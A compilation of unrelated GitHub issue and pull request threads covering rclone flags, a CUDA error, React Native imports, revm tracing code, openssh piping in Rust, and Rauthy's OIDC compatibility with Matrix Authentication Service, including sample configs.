[#23] Update develop

Description
This PR merges changes from rokwire/develop.
Resolves #23
Review Time Estimate
Please give your idea of how soon this pull request needs to be reviewed by selecting one of the options below. This can be based on the criticality of the issue at hand and/or other relevant factors.

[ ] Immediately
[x] Within a week
[ ] When possible

Type of changes
Please select a relevant option:

[ ] Bug fix (non-breaking change which fixes an issue).
[x] New feature (non-breaking change which adds functionality).
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected).
[ ] Other (any another change that does not fall in one of the above categories.)

Checklist:
Please select all applicable options:

[x] I have signed the Rokwire Contributor License Agreement (CLA). (Any contributor who is not an employee of the University of Illinois whose official duties include contributing to the Rokwire software, or who is not paid by the Rokwire project, needs to sign the CLA before their contribution can be accepted.)
[x] I have updated the CHANGELOG.
[x] I have read the Contributor Guidelines.
[x] I have performed a self-review of my own code.
[x] I have commented my code, particularly in hard-to-understand areas.
[x] My change requires updating the documentation.
[x] I have made necessary changes to the documentation.
[ ] I have added tests related to my changes.
[x] My changes generate no new warnings.
[x] New and existing unit tests pass locally with my changes.
[x] Any dependent changes have been merged and published in downstream modules.

Removed auth type/identifier migration (already completed in ROKMETRO databases) and moved to #26.


2.2 snapshot testing - do not review this PR

Description
2.2 snapshot testing - do not review this PR
Issues Resolved
[List any issues this PR will resolve]
Check List

[ ] Commits are signed per the DCO using --signoff

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Closing this PR as it was only intended to test some snapshot fixes. The solution was to refactor the setup.jest.ts file like this.


Fix tiled button and crash on resume/back button pressed

My primary reason for these changes is to fix the tiled shutter button on larger screens like the Nexus 6 as shown in the screen shot below. I tried several things with the capture button ImageView before determining that programmatically hiding the status bar was causing the problem. For my purposes, showing the status bar isn't an issue and was the easiest fix.
I also noticed that if I turned the screen off, when I returned, the camera preview was stopped. When I pressed the back button, the app crashed with an error about the camera being used after release() was called. To fix this, I simply finish CameraActivity in onPause(). I initially tried removing and re-adding CameraFragment, but this caused problems with the size of the preview window after resuming.
I won't be offended if you don't want to merge these changes, but thought someone might find them useful.

Thanks for the commits Andy!


[ISSUE #2814] license check error

Fixes #2814 .
Motivation
fix license check error.
Modifications
add license file
Documentation

Does this pull request introduce a new feature? ( no)
If yes, how is the feature documented? (not documented)

Why is the building failing though? Maybe some more licenses are required?


rclone drive-formats copy/export one file from google drive - error reading source directory: directory not found

What is the problem you are having with rclone?
I'm trying to copy/export one docx file from Google Drive and convert it to txt
I'm using the command
 rclone copy GD:test/test.docx /tmp/test --drive-formats txt
the output is:
ERROR : : error reading source directory: directory not found
if I do this for directory:
 rclone copy GD:test /tmp/test --drive-formats txt
all is fine
What is your rclone version (eg output from rclone -V)
v1.43
Which OS you are using and how many bits (eg Windows 7, 64 bit)
linux/amd64
Which cloud storage system are you using? (eg Google Drive)
Google Drive
The command you were trying to run (eg rclone copy /tmp remote:tmp)
rclone copy
A log from the command with the -vv flag (eg output from rclone -vv copy /tmp remote:tmp)
2018/09/04 10:12:18 DEBUG : rclone: Version "v1.43" starting with parameters ["rclone" "copy" "dysk-rysiek:test/ok.docx" "/tmp/test" "--config" "/sdcard/rclone/rclone.conf" "--drive-formats" "txt" "-vv"]
2018/09/04 10:12:18 DEBUG : Using config file from "/sdcard/rclone/rclone.conf"
2018/09/04 10:12:20 ERROR : : error reading source directory: directory not found
2018/09/04 10:12:20 INFO  : Local file system at /tmp/test: Waiting for checks to finish
2018/09/04 10:12:20 INFO  : Local file system at /tmp/test: Waiting for transfers to finish
2018/09/04 10:12:20 ERROR : Attempt 1/3 failed with 1 errors
2018/09/04 10:12:20 ERROR : : error reading source directory: directory not found
2018/09/04 10:12:20 INFO  : Local file system at /tmp/test: Waiting for checks to finish
2018/09/04 10:12:20 INFO  : Local file system at /tmp/test: Waiting for transfers to finish
2018/09/04 10:12:20 ERROR : Attempt 2/3 failed with 1 errors
2018/09/04 10:12:20 ERROR : : error reading source directory: directory not found
2018/09/04 10:12:20 INFO  : Local file system at /tmp/test: Waiting for checks to finish
2018/09/04 10:12:20 INFO  : Local file system at /tmp/test: Waiting for transfers to finish
2018/09/04 10:12:20 ERROR : Attempt 3/3 failed with 1 errors
2018/09/04 10:12:20 INFO  :
Transferred:   	         0 / 0 Bytes, -, 0 Bytes/s, ETA -
Errors:                 1
Checks:                 0 / 0, -
Transferred:            0 / 0, -
Elapsed time:        2.7s

Is there any way to use drive-formats for one file? Thanks you in advance for any tips.
This project is awesome! :)

--drive-formats will change the file extension used by rclone to access the file.
You should see a test.txt file when doing a ls:
rclone ls GD:test --drive-formats txt

This will also be the file name doing the copy.

thx @B4dM4n  for this info
I just did:
rclone ls GD:test
the output is:
 test.docx
then I did:
 rclone copy GD:test/test.txt /tmp/test --drive-formats txt
I'm little bit surprised but it works, I'm not sure if this is feature or a bug
PS
but this way no success
 rclone ls GD:test  --drive-formats txt
the output is:
 test.txt
then I did:
 rclone copy GD:test/test.txt /tmp/test
error reading source directory: directory not found

--drive-formats has to be set for all commands, like all other command line flags. It only changes how rclone sees documents for the current invocation of rclone.
Your copy command should look like this:
rclone copy --drive-formats txt GD:test/test.txt /tmp/test

thanks for info @B4dM4n.
True - flag in each command works OK.
So no isuee - I'm closing this


GPU error

Hi
The code works in cpu but I get the below problem with gpu:
RuntimeError: CUDA error: CUBLAS_STATUS_EXECUTION_FAILED when calling `cublasSgemm( handle, opa, opb, m, n, k, &alpha, a, lda, b, ldb, &beta, c, ldc)`

Full details are below:
env is Hanabi, algo is mappo, exp is mlp_critic1e-3_entropy0.015_v0belief, max seed is 1
seed is 1:
choose to use gpu...
Traceback (most recent call last):
  File "train/train_hanabi_forward.py", line 176, in <module>
    main(sys.argv[1:])
  File "train/train_hanabi_forward.py", line 161, in main
    runner.run()
  File "/nfs/home/ic/on-policy/onpolicy/runner/shared/hanabi_runner_forward.py", line 50, in run
    self.collect(step)
  File "/nfs/home/ic/miniconda3/envs/marl/lib/python3.7/site-packages/torch/autograd/grad_mode.py", line 15, in decorate_context
    return func(*args, **kwargs)
  File "/nfs/home/ic/on-policy/onpolicy/runner/shared/hanabi_runner_forward.py", line 153, in collect
    self.use_available_actions[choose])
  File "/nfs/home/ic/on-policy/onpolicy/algorithms/r_mappo/algorithm/rMAPPOPolicy.py", line 71, in get_actions
    deterministic)
  File "/nfs/home/ic/miniconda3/envs/marl/lib/python3.7/site-packages/torch/nn/modules/module.py", line 550, in __call__
    result = self.forward(*input, **kwargs)
  File "/nfs/home/ic/on-policy/onpolicy/algorithms/r_mappo/algorithm/r_actor_critic.py", line 62, in forward
    actor_features = self.base(obs)
  File "/nfs/home/ic/miniconda3/envs/marl/lib/python3.7/site-packages/torch/nn/modules/module.py", line 550, in __call__
    result = self.forward(*input, **kwargs)
  File "/nfs/home/ic/on-policy/onpolicy/algorithms/utils/mlp.py", line 54, in forward
    x = self.mlp(x)
  File "/nfs/home/ic/miniconda3/envs/marl/lib/python3.7/site-packages/torch/nn/modules/module.py", line 550, in __call__
    result = self.forward(*input, **kwargs)
  File "/nfs/home/ic/on-policy/onpolicy/algorithms/utils/mlp.py", line 25, in forward
    x = self.fc1(x)
  File "/nfs/home/ic/miniconda3/envs/marl/lib/python3.7/site-packages/torch/nn/modules/module.py", line 550, in __call__
    result = self.forward(*input, **kwargs)
  File "/nfs/home/ic/miniconda3/envs/marl/lib/python3.7/site-packages/torch/nn/modules/container.py", line 100, in forward
    input = module(input)
  File "/nfs/home/ic/miniconda3/envs/marl/lib/python3.7/site-packages/torch/nn/modules/module.py", line 550, in __call__
    result = self.forward(*input, **kwargs)
  File "/nfs/home/ic/miniconda3/envs/marl/lib/python3.7/site-packages/torch/nn/modules/linear.py", line 87, in forward
    return F.linear(input, self.weight, self.bias)
  File "/nfs/home/ic/miniconda3/envs/marl/lib/python3.7/site-packages/torch/nn/functional.py", line 1610, in linear
    ret = torch.addmm(bias, input, weight.t())
RuntimeError: CUDA error: CUBLAS_STATUS_EXECUTION_FAILED when calling `cublasSgemm( handle, opa, opb, m, n, k, &alpha, a, lda, b, ldb, &beta, c, ldc)`
training is done!

I get the error with both cuda 10.1 and 11.2. Do you have any thoughts on how to fix this? Many thanks!

how did you fix it？


RCTConvert.h file not found

I have everything set up but I do get the error 'RCTConvert.h file not found' in RNSegmentIOAnalytics.m when I try to build.
"react": "~15.4.1",
"react-native": "0.42.3"
Any ideas? Thanks!

You need to change from #import "RCTConvert.h" to #import <React/RCTConvert.h>


Can't externally share

Want to share a document externally from our Sharepoint. Have adjusted the sharing privacy slider to most permissive but it still prevents me from choosing the "anyone with a link" option when I try to share a file. Am I missing something?

@bennykaye11  - thank you for submitting feedback.
I think the best way forward is if you open a service ticket in your tenant so this can get resolved ASAP. Based on the outcome let me know if it is something that can be called out in the docs.
Please follow this link to contact support for business products:  https://docs.microsoft.com/office365/admin/contact-support-for-business-products
Please keep us posted here on the resolution so we can feed whatever information you discover into the content.

@officedocsbot close


Add testing suite

Discussion in progress to choose the technology

Let's go for Mocha + Chai + Sinon

Which testing suite?
/poll 'Mocha + Chai + Sinon' 'Jasmine'

/polls Option1 'Option 2' "Option 3"

Which testing suite?

/polls 'Option 1' 'Option 2'

Changed description to add a poll in Github! 👏


How to simulate debug_traceCall with revm

Hello, I have been looking into the examples of revm, most especially that of block traces, any way I can modify the example to give a simplified output shown on debug_traceCall

i don't think that's possible with revm

for rpc tracing, ptal https://github.com/paradigmxyz/evm-inspectors

for rpc tracing, ptal https://github.com/paradigmxyz/evm-inspectors

could you add example of this?

you can take a look at the anvil or reth codebase
but feel free to open an issue there for more examples

Kind of hackish, but works for me (kind of 😅)
// Example Adapted From: https://github.com/bluealloy/revm/issues/672

use ethers_core::types::BlockId;
use ethers_providers::Middleware;
use ethers_providers::{Http, Provider};
use indicatif::ProgressBar;
use revm::db::{CacheDB, EthersDB, StateBuilder};
use revm::inspectors::{CustomPrintTracer, TracerEip3155};
use revm::primitives::{Address, TransactTo, U256};
use revm::{inspector_handle_register, Evm};
use revm_inspectors::tracing::TracingInspectorConfig;
use std::fs::OpenOptions;
use std::io::BufWriter;
use std::io::Write;
use std::sync::Arc;
use std::sync::Mutex;

macro_rules! local_fill {
    ($left:expr, $right:expr, $fun:expr) => {
        if let Some(right) = $right {
            $left = $fun(right.0)
        }
    };
    ($left:expr, $right:expr) => {
        if let Some(right) = $right {
            $left = Address::from(right.as_fixed_bytes())
        }
    };
}

struct FlushWriter {
    writer: Arc<Mutex<BufWriter<std::fs::File>>>,
}

impl FlushWriter {
    fn new(writer: Arc<Mutex<BufWriter<std::fs::File>>>) -> Self {
        Self { writer }
    }
}

impl Write for FlushWriter {
    fn write(&mut self, buf: &[u8]) -> std::io::Result<usize> {
        self.writer.lock().unwrap().write(buf)
    }

    fn flush(&mut self) -> std::io::Result<()> {
        self.writer.lock().unwrap().flush()
    }
}

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    // Create ethers client and wrap it in Arc<M>
    let client = Provider::<Http>::try_from("RPC_URL")?;
    let client = Arc::new(client);

    // Params
    let chain_id: u64 = 592;
    let block_number = 5516206;

    // Fetch the transaction-rich block
    let block = match client.get_block_with_txs(block_number).await {
        Ok(Some(block)) => block,
        Ok(None) => anyhow::bail!("Block not found"),
        Err(error) => anyhow::bail!("Error: {:?}", error),
    };

    println!(
        "Fetched block number: {} {}",
        block.number.unwrap().0[0],
        block.transactions.first().unwrap().hash
    );
    let previous_block_number = block_number - 1;

    // Use the previous block state as the db with caching
    let prev_id: BlockId = previous_block_number.into();
    // SAFETY: This cannot fail since this is in the top-level tokio runtime
    let state_db = EthersDB::new(Arc::clone(&client), Some(prev_id)).expect("panic");
    let cache_db: CacheDB<EthersDB<Provider<Http>>> = CacheDB::new(state_db);
    let mut state = StateBuilder::new_with_database(cache_db).build();
    let mut evm = Evm::builder()
        .with_db(&mut state)
        .with_external_context(revm_inspectors::tracing::TracingInspector::new(
            TracingInspectorConfig {
                exclude_precompile_calls: true,
                record_call_return_data: true,
                record_logs: false,
                record_memory_snapshots: false,
                record_state_diff: false,
                record_steps: false,
                record_stack_snapshots: revm_inspectors::tracing::StackSnapshotType::Pushes,
            },
        ))
        .modify_block_env(|b| {
            if let Some(number) = block.number {
                let nn = number.0[0];
                b.number = U256::from(nn);
            }
            local_fill!(b.coinbase, block.author);
            local_fill!(b.timestamp, Some(block.timestamp), U256::from_limbs);
            local_fill!(b.difficulty, Some(block.difficulty), U256::from_limbs);
            local_fill!(b.gas_limit, Some(block.gas_limit), U256::from_limbs);
            if let Some(base_fee) = block.base_fee_per_gas {
                local_fill!(b.basefee, Some(base_fee), U256::from_limbs);
            }
        })
        .modify_cfg_env(|c| {
            c.chain_id = chain_id;
            c.limit_contract_code_size = None;
        })
        .append_handler_register(inspector_handle_register)
        .build();

    let txs = block.transactions.len();
    println!("Found {txs} transactions.");

    let console_bar = Arc::new(ProgressBar::new(txs as u64));
    let elapsed = std::time::Duration::ZERO;

    // Create the traces directory if it doesn't exist
    std::fs::create_dir_all("traces").expect("Failed to create traces directory");

    evm.context.external.get_traces();

    // Fill in CfgEnv
    for (i, tx) in block.transactions.iter().enumerate() {
        evm = evm
            .modify()
            .modify_tx_env(|etx| {
                etx.caller = Address::from(tx.from.as_fixed_bytes());
                etx.gas_limit = tx.gas.as_u64();
                local_fill!(etx.gas_price, tx.gas_price, U256::from_limbs);
                local_fill!(etx.value, Some(tx.value), U256::from_limbs);
                etx.data = tx.clone().input.0.into();
                let mut gas_priority_fee = U256::ZERO;
                local_fill!(
                    gas_priority_fee,
                    tx.max_priority_fee_per_gas,
                    U256::from_limbs
                );
                etx.gas_priority_fee = Some(gas_priority_fee);
                etx.chain_id = Some(chain_id);
                etx.nonce = Some(tx.nonce.as_u64());
                if let Some(access_list) = tx.clone().access_list {
                    etx.access_list = access_list
                        .0
                        .into_iter()
                        .map(|item| {
                            let new_keys: Vec<U256> = item
                                .storage_keys
                                .into_iter()
                                .map(|h256| U256::from_le_bytes(h256.0))
                                .collect();
                            (Address::from(item.address.as_fixed_bytes()), new_keys)
                        })
                        .collect();
                } else {
                    etx.access_list = Default::default();
                }

                etx.transact_to = match tx.to {
                    Some(to_address) => {
                        TransactTo::Call(Address::from(to_address.as_fixed_bytes()))
                    }
                    None => TransactTo::create(),
                };
            })
            .build();

        // Construct the file writer to write the trace to
        let file_name = format!("{}.log", i);
        let write = OpenOptions::new()
            .write(true)
            .create(true)
            .truncate(true)
            .open(file_name);
        let inner = Arc::new(Mutex::new(BufWriter::new(
            write.expect("Failed to open file"),
        )));

        println!("{:?}", tx.hash);
        let mut writer = FlushWriter::new(Arc::clone(&inner));

        if let Err(error) = evm.transact_commit() {
            println!("Got error: {:?}", error);
        }

        // Inspect and commit the transaction to the EVM
        let traces = evm.context.external.get_traces(); // .set_writer(Box::new(writer));

        writer
            .write_all(format!("{:#?}", traces).as_bytes())
            .unwrap();

        // Flush the file writer
        inner.lock().unwrap().flush().expect("Failed to flush file");

        console_bar.inc(1);
    }

    console_bar.finish_with_message("Finished all transactions.");
    println!(
        "Finished execution. Total CPU time: {}s",
        elapsed.as_secs_f64()
    );

    Ok(())
}

I'll leave this issue open till we have a more better solution

@rakita the generate_block_traces.rs blocks for me, decoding, I noticed that the condition is not met leading to the program blocking and CPU going to 99%. I wonder what I could be doing wrong. I am running from the main branch

@rakita the generate_block_traces.rs blocks for me, investigating, I noticed that this condition is ALWAYS met leading to the program blocking and CPU going to 99%. I wonder what I could be doing wrong. I am running from the main branch and ran the example as is. Could I be doing something wrong?

Hey it is probably related to this: https://github.com/bluealloy/revm/pull/1117
Fatal error can happen if rpc does not return. The bug was that this was not propagated and would continue running.

would close this


switch to canary & back to gatsby images

Testing https://github.com/johnsonandjohnson/Bodiless-JS/pull/1934

Closing as not needed


"Input string was not in a correct format"

Hi
the following statement crashes with colorful.console:
Console.Write("}", Color.OrangeRed);
rgds

... and of course the counterpart of the closing bracket Console.Write("{", Color.OrangeRed);

Thanks for reporting this.  Can you tell me what OS and console this is happening on?  I've just tried on Windows 10 and CMD.exe, and I'm not able to reproduce: executing Console.Write("}", Color.OrangeRed); prints "}" to the screen in Color.OrangeRed, and ditto for "{".

Use Chr(125) insted of "}"!


Piping between std::process::Command stdout and openssh::session::RemoteChild

I tried following the example provided by std::process::Stdio::piped() unfortunately doesn't work because of the following:
the trait bound `openssh::Stdio: From<tokio::process::ChildStdout>` is not satisfied E0277 the trait `From<tokio::process::ChildStdout>` is not implemented for `openssh::Stdio` Help: the following other types implement trait `From<T>`:

Short example snippet:
async fn ... {
    ....

    let source = Command::new("util1")
        .stdout(Stdio::piped())
        .spawn()
        .unwrap()
        .stdout
        .unwrap();

    let destination = remote.command("util2")
        .stdin(source) // Incorrect
        .spawn()
        .await
        .unwrap();

    // TODO: Alterative?
}

What would be the correct/best way to pipe local process' stdout into remote process' stdin with this crate? Sorry if this question is too basic, I can't wrestle the compiler that well yet :)

Change the second part to this:
    let destination = remote.command("util2")
        .stdin(source.into())
        .spawn()
        .await
        .unwrap();

Note that even if you are not using openssh but std::process or tokio::process, you would still need this .into().
stdin/stdout/stderr method takes a Stdio (openssh has its own Stdio type though) but stdout.unwrap() gives you std::process::ChildStdout.
Stdio can be constructed from ChildStdout, but you cannot directly pass it to stdin.

Unfortunately source.into() did not work because of ^^^^ cannot infer type for type parameter 'T' declared on the trait 'Into'
It did give me an idea and I ended up with this, thanks!
    let mut source = Command::new("util1")
        .stdout(Stdio::piped())
        .spawn()
        .unwrap();

    let destination = remote.command("util2")
        .stdin(source.stdout.take().unwrap())
        .spawn()
        .await
        .unwrap()
        .wait_with_output()
        .await
        .unwrap();

Though it's really rather ugly, but seems to work.

Oh right I forgot that Command::stdin takes anything Into<Stdio>, so the really reason you code didn't work is because stdout.unwrap() is a reference, while Stdio::from takes ChildStdout by value.


Allow targeting any version of net7.0-windows, and also net6.0-windows

Currently, this repository is targeting net7.0-windows10.0.19041. I wonder if we can allow targeting lower Windows versions if we change the tfm to net7.0-windows.
Also try to support net6.0-windows.

Unfortunately, it doesn't seem possible to multi-target net6.0 and net7.0 at the same time.
Also the minimum required net7.0-windows tfm by Maui is the one we are already targeting.
Can't do much more...


Compatibility with Matrix Auth

Following from this:

Keycloak was a rough inspiration in certain places and if something is working with Keycloak, it does with rauthy too (again, so far).

I wonder if rauthy might be interested in aiming for some baseline compatibility with https://github.com/matrix-org/matrix-authentication-service
https://matrix.org/blog/2023/09/better-auth/
The Matrix Authentication Service (MAS) lists Keycloak as a supported upstream Identity Provider (IdP). Since rauthy is ‘Keycloak conformant’ to some extent, maybe the path to interop with MAS is fairly clear-cut? Would be cool to have a pure Rust stack for that whole setup!

That's actually a cool idea.
I just started using Matrix and rellay like it so far.
I am using Rauthy already for SSO into my self-deployed synapse server which I use for testing purposes.
I will for sure have a look at this and see what I might need to do to make it work.
Thanks a lot!

I had a first look at MAS. I don't really get (yet) what this is needed for, when it only works with Synapse, which can use OIDC directly already, but I wanted to give it a try.
My Synapse is running "prod ready" with a private CA and everything, but I got stuck in the whole process at a point now, where it cannot talk to the MAS test instance correctly. I guess this testing will require quite a bit more time and debugging, or maybe do a full new setup with everything in dev mode on localhost.
Since MAS supports OIDC upstream providers, I don't see any reason why it should not work with Rauthy. The only thing is, that Rauthy is really strict on the security settings, which means that if you have for instance enabled an S256 PKCE flow, it will enforce it, no matter what. If the client does not support it, you need to actively disable it in the Admin UI.
When I have a bit more time, I will try to debug the Synapse - MAS connection issue I currently got going on furhter and have a second look.

Just fyi, to use Rauthy together with Synapse OIDC, you need the following config:
Synapse homeserver.yaml config:
oidc_providers:
  - idp_id: rauthy
    idp_name: "Rauthy SSO"
    issuer: "https://rauthy.example.com/auth/v1"
    client_id: "synapse"
    client_secret: "<client secret from Rauthy's Admin UI -> client -> secret>"
    scopes: ["openid", "profile", "email", "groups"]
    user_mapping_provider:
      config:
        localpart_template: "{{ user.sub }}"
        email_template: "{{ user.email }}"
        display_name_template: "{{ user.given_name }}"
    # this will only allow users assigned to the custom group 'matrix' (on the Rauthy side) to log in
    attribute_requirements:
      - attribute: groups
        value: "matrix"
sso:
  client_whitelist:
    - "https://rauthy.example.com/auth/v1"

Inside the Rauthy Admin UI, create client with id synapse and then configure:

enabled
confidential
authorization_code flow
(optionally) force mfa
allowed scopes: email, openid, profile, groups
redirect uri: https://synapse.exmplae.com/_synapse/client/oidc/callback
access and id algorithm: EdDSA
PKCE: S256

Then copy the secret from clients -> synapse -> secret into the homeserver.yaml -> oidc_providers.client_secret
Then go to groups -> add new group -> group name: matrix
Go to your users tab and assign those users that should be allowed to log into Matrix via Rauthy to the matrix group:
users -><EMAIL_ADDRESS>-> groups -> add matrix

For anyone coming here to check on Matrix-compatibility, it’s worth noting that v0.19 added an important interop feature:

EVENT_MATRIX_ERROR_NO_PANIC
This new config variable solves a possible chicken and egg problem, if you use a self-hosted Matrix server and Rauthy as its OIDC provider at the same time. If both services are offline, for instance because of a server reboot, you would not be able to start them.

The Matrix Server would panic because it cannot connect to and verify Rauthy
Rauthy would panic because it cannot connect to Matrix

Setting this variable to true solves this issue and Rauthy would only log an error in that case instead of panicking. The panic is the preferred behavior though, because this makes 100% sure that Rauthy will actually be able to send out notification to configured endpoints.

There’s a doc for upstream providers now: https://matrix-org.github.io/matrix-authentication-service/setup/sso.html
Probably post-v1 would be the time for a PR to add Rauthy in there.

From what I can see in the docs, it is just a default OIDC provider config.
Rauthy will work with this for sure. It does work with Synapse directly already for a long time for me.

Is this a duplicate of https://github.com/sebadob/rauthy/issues/166
Specifically, this seems like a request to implement OIDC Connect Discovery?

No its not a duplicate.
This issue is most probably solved already. I just cannot confirm this at this moment, because I don't have a dev / test environment set up with a Homeserver + MAS.
Rauthy works with every client I tested it so far, so I don't see a reason why it would not with MAS.

The help wanted label on this issue is not about implementing something for Rauthy. It is about just verifying, that everything works in a properly set up environment with MAS. The provider lookup between the services and so on expects valid TLS certificates. At my time of testing, there was no option to accept invalid certificates on the MAS side for local dev and testing.

You can setup valid certs for local testing quite easily with Smallstep's step CLI.
# Local testing CA cert of your own:
step certificate create "Smallstep Root CA" ca-cert.ecdsa.pem ca-key.ecdsa.pem \
  --no-password --insecure \
  --profile root-ca \
  --not-before "2021-01-01T00:00:00+00:00" \
  --not-after "2031-01-01T00:00:00+00:00" \
  --kty EC --crv P-256

# Provision a local testing cert signed by that CA:
step certificate create "Smallstep Leaf" cert.ecdsa.pem key.ecdsa.pem \
  --no-password --insecure \
  --profile leaf \
  --ca ca-cert.ecdsa.pem \
  --ca-key ca-key.ecdsa.pem \
  --not-before "2021-01-01T00:00:00+00:00" \
  --not-after "2031-01-01T00:00:00+00:00" \
  --san "example.test" \
  --kty EC --crv P-256

You can then just provide the leaf cert/key PEM files to software that needs it, and a client can reference the ca-cert PEM file for verifying trust (browsers can add them via GUI, curl can use -ca-cert, openssl has similar etc), or you can have Smallstep add it into your systems local trust stores with step certificate install.
At least for me that greatly simplifies valid TLS certs for testing locally. I use .test TLD since it's a reserved TLD for that purpose and public DNS resolvers won't process that. Most DNS needs are met with Docker containers and it's embedded DNS where you can just set a  hostname and it'll map that to the IP it assigns locally to the container. Alternatively if any DNS records are needed CoreDNS is quick and simple to setup for that too.

Don't get me wrong, it's not hard to do this by any means. I even have my own CA project Nioca with simplifies this even more than smallstep and it is running anyway already.
The thing is, that all this setup just takes time, and I have a lot of other things on the TODO for Rauthy that have a way higher priority for me than validating this right now. As I said, I assume that everything is working anyway already. It would be way faster if someone with everything set up and actually using MAS would just do a quick test.
Right now, MAS is so early in its development, that it simply does not make sense to use it imho, at least when I took a look at this the last time. It only worked with Synapse, which can use Rauthy directly, and then even only with an experimental feature. Afaik, there is no other Matrix server out there, that even supports MAS.
Another problem I had, when I took a first look at this, is that I could not specify a custom root CA for MAS. Maybe that has changed by now. But that meant, that I would either modify the OS trust store just for testing, or do a "real" deployment with let's encrypt certificates.

But that meant, that I would either modify the OS trust store just for testing

You can just use a containerized environment, I do that and it's easy to throwaway after. Much less hassle than a VM which I used to do.
Not really any different with LetsEncrypt, if you need an ACME server smallstep offers that too instead of the CLI commands I referenced. Nioca seems to be similar in that functionality, so I'm not sure what it is simplifying more from glancing through the README, cool project though!

I don't use Matrix, I was more interested in rauthy for testing OIDC/OAuth with, and despite really wanting to I recall there was some friction. Specifically I wanted to configure/provision a user/session without any GUI interaction for a test suite to be provided an access token for it's login tests (Dovecot via XOAUTH2 / OAUTHBEARER) against an auth provider.
I recall it being problematic, got reasonably far with ORY Kratos / Hydra but the browser was necessary and I was trying to only use curl. Auth server needed to respond with the users email claim/attribute when the endpoint was provided the access token. I ended up just mocking the introspection endpoint with Caddy.

... so I'm not sure what it is simplifying more ...

You can create the full chain with everything you need in just a single command. Or, if you have the server itself running already in your dev env, you can use the client to get pre configured certificates with for instance just something like nioca-client x509 once everything it set up.
The project is not yet in a state though were the documentation is really good. I just don't have enough time for everything I want to do.

Specifically I wanted to configure/provision a user/session without any GUI interaction ...

You can do this easily with Rauthy. I don't know when you tried to do this, but since Rauthy introduced the API Keys, this should be pretty straight forward. What you could do as well, is to create a Test / Dev SQLite once (with GUI or whatever) and then just re-use that DB, either by copying the file itself or use the MIGRATE_DB_FROM config var. This way you would always have access with your API Key and depending on the access rights, you can do almost anything without a GUI or browser at all.
If you want to do a full "real" code login flow, you can do this too. I actually have integrations tests that do exactly that, without any browser.

You can do this easily with Rauthy. I don't know when you tried to do this, but since Rauthy introduced the API Keys, this should be pretty straight forward.

Great to hear, I'll try find time to look into that and raise an issue if I hit any blockers again 👍
As this is off-topic to the issue, I'm going to avoid responding to the rest of the comment but I appreciate the helpful response ❤

If anyone looking at this issue does have a MAS environment set up, it would be nice do to a quick test with Rauthy, since I do not have the time currently. It should work right away actually.

I've just tested Rauthy with Matrix Authentication Service .
Note that it took me a while to figure out that the rauthy client needs to use RS256 for both ID and Access, otherwise MAS doesn't work.
Here's the provider config for MAS:
upstream_oauth2:
  providers:
    - id: 01JF4AMC9ZH4TT7VHJ4R9WDVAY
      human_name: "Rauthy"
      brand_name: "rauthy"
      token_endpoint_auth_method: "client_secret_post"
      issuer: "https://rauthy.example.com/auth/v1"
      client_id: "mas"
      client_secret: "viwee4OhQuuwahph3taeth5Yee9aiYiephahzee4Laet8thooP4aQu1ueniev8ah"
      scope: "openid profile email"
      claims_imports:
        localpart:
          action: ignore
        displayname:
          action: suggest
          template: "{{ user.given_name }}"
        email:
          action: suggest
          template: "{{ user.email }}"

Login and registration works as expected.

Thank you very much for testing @ChurchOfTheSubgenius
Just for completeness, did it work with S256 PKCE still endabled in the Admin UI?
If so, the setup on Rauthy's side is quite simple, just create a client and change token signatures from default EdDSA to RS256.

Just for completeness, did it work with S256 PKCE still enabled in the Admin UI? If so, the setup on Rauthy's side is quite simple, just create a client and change token signatures from default EdDSA to RS256.

That's right, PKCE challenge works with S256 enabled.
Another thing I forgot to mention - the client has to have Confidential disabled. I'm not sure if some MAS setting could make it work with Confidential, I'll look more into it later.

I just realized that MAS has been archived. What was the reason for that?

They moved the repo under a new org recently.

Thanks!
I you have trouble with a confidential client, try to disable PKCE on Rauthys side. When you endable it, this is not optional for Rauthy, but it will actually enforce it. If the combination does not work, it's probably bacause MAS does not add PKCE into the mix when it's using a confidential client. Each on its own is safe, the combination is just an additional defense in depth.

They moved the repo under a new org recently.

That's good to know.

I tried a few different combinations:

Confidential enabled, both PKCE S256 and Plain disabled - does not work, rauthy errors with Invalid Credentials.
Confidential disabled, both PKCE S256 and Plain disabled - does not work, rauthy errors with Invalid Credentials.
Confidential enabled, PKCE Plain enabled - rauthy errors with code_challenge_method 'S256' is not allowed.
Confidential disabled, PKCE S256 enabled - works.

Confidential enabled, both PKCE S256 and Plain disabled - does not work, rauthy errors with Invalid Credentials.

That's an interesting one. This should work without any issues since this is the most basic setup.
You could check this with ghcr.io/sebadob/rauthy:0.27.2-20241213-3. This is a version I am currently testing and will probably release tomorrow. If I am correct, this already has additional error logging on the /token endpoint for better debugging. The error message to the client will always be very opaque to not leak possibly sensitive information.

Confidential disabled, both PKCE S256 and Plain disabled - does not work, rauthy errors with Invalid Credentials.

That makes sense, since without any of these, the request will be considered too unsafe. Public clients are enforced to use PKCE. I could maybe add a warning to the UI if you try to configure a client in such a way, that would be helpful I guess.

Confidential enabled, PKCE Plain enabled - rauthy errors with code_challenge_method 'S256' is not allowed.

That error message could explain why the first test did not work. Could it be, that MAS always adds an S256 PKCE challenge, no matter what? Rauthy is very strict with the settings and if S256 is disabled, it will reject the request if it's given, so I would expact exactly that error.

The only weird case is the first one, but this would make sense if MAS always adds PKCE. Rauthy advertises support for S256 inside the openid-configuration as a supported method, but the behavior depends on each clients config. On the other hand, if it does that, it does not explain why confidential + PKCE does not work.
Anyhow, public client with S256 PKCE works and that's good and secure. Thank you a lot for testing. It might be worth to add Rauthy to repos readme or something as an additional option.

That's an interesting one. This should work without any issues since this is the most basic setup. You could check this with ghcr.io/sebadob/rauthy:0.27.2-20241213-3. This is a version I am currently testing and will probably release tomorrow. If I am correct, this already has additional error logging on the /token endpoint for better debugging. The error message to the client will always be very opaque to not leak possibly sensitive information.

I did a quick test with that image but Rauthy logs don't appear to show any extra info, warnings. Same auth errors for the previous settings combinations.

Anyhow, public client with S256 PKCE works and that's good and secure. Thank you a lot for testing. It might be worth to add Rauthy to the repos readme or something as an additional option.

I'm not involved with MAS, but MAS and Rauthy support are part of Commune's (you're in our discord) NLNet grant milestones so I'm willing to give this more attention to see if we can get the edge cases working, or at least thoroughly tested.

Quick followup - MAS also works with Rauthy's ephermeral clients flow. Here's a sample client_id json file.
{
  "client_id": "https://path.to.this.json",
  "redirect_uris": [
    "https://your-app.com/callback"
  ],
